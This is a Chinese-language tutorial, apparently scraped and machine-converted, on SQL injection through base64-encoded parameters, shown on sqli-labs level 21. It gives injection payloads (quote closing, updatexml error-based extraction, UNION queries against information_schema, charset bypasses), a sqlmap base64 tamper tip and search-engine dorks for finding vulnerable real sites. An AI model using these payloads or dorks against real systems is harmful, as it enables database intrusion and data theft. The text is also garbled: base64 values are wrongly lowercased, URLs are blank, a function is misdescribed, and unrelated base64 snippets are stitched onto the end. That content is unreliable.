什麼是base64注入?
base64注入是針對傳遞的引數被base64加密後的注入點進行注入。除了資料被加密意外,其中注入方式與常規注入一般無二編碼工具選擇也可以使用burp中自帶的編碼模組(decoder)
如何發現此漏洞?
在網際網路系統中,目前遇到兩種base64加密傳參方式靶場選擇第一種,例如id=1,把id=1全部加密處理,得到awq9mq==,直接搜尋inurl:?awq0
第二種,只處理傳參值,得到id=mq==,搜尋inurl:?id=m*=
此處繼續選用sqlilabs作為測試靶場,第21關,是關於cookie的base64變形注入漏洞復現
開啟靶場所在url,是乙個登入介面輸入使用者名稱密碼,admin/666666,登陸成功,介面如下圖從上圖可以看到,系統返回了我們的cookie值,並且進行了編碼,這裡我們可以使用抓包修改cookie,經過解碼,ywrtaw4 = 的值是admin,對admin'進行編碼,觀察頁面變化,如下圖嘗試閉合原語句,payload:admin')#,如下圖由於這裡發生mysql報錯,直接嘗試報錯注入,payload:admin') and updatexml(1,concat(0x7e,database()),1)#,如下圖convert() 函式是把日期轉換為新資料型別的通用函式。
大致poyload如下
union select 1,2,3,4,5,6,7,convert(table_name using latin1) from information_schema.tables where table_schema=database()--+
參考文章:sqlmapthere are 3 ways to bypass this error:
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
other ways (thanks to benzi):
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
原則上,只要抓包加上–tamper base64encode擴充套件模組就可以了,未實驗第二個姿勢,針對get型,可以嘗試寫乙個demo命名為test.php,如下
<?php
$id = base64_encode("id=".$_get['id']);
echo file_get_contents("");
?>
sqlmap-u "" -v3
參考文章:暫時這些吧資訊加密之Base64
base64是一種最簡單的簡單的加密形式,經常被使用,記錄一下,以便日後可以深入了解。jdk格式 獲得金鑰 base64encoder encoder new base64encoder 加密 string encoder jdk encoder.encode src.getbytes system...
資訊加密之Base64
base64是一種最簡單的簡單的加密形式,經常被使用,記錄一下,以便日後可以深入了解。jdk格式 獲得金鑰 base64encoder encoder new base64encoder 加密 string encoder jdk encoder.encode src.getbytes system...
Android資料加密之Base64編碼演算法
前面學習總結了平時開發中遇見的各種資料加密方式,最終都會對加密後的二進位制資料進行base64編碼,起到一種二次加密的效果,其實呢base64從嚴格意義上來說的話不是一種加密演算法,而是一種編碼演算法,為何要使用base64編碼呢?它解決了什麼問題?這也是本文 的東西?其他幾種加密方式 base64...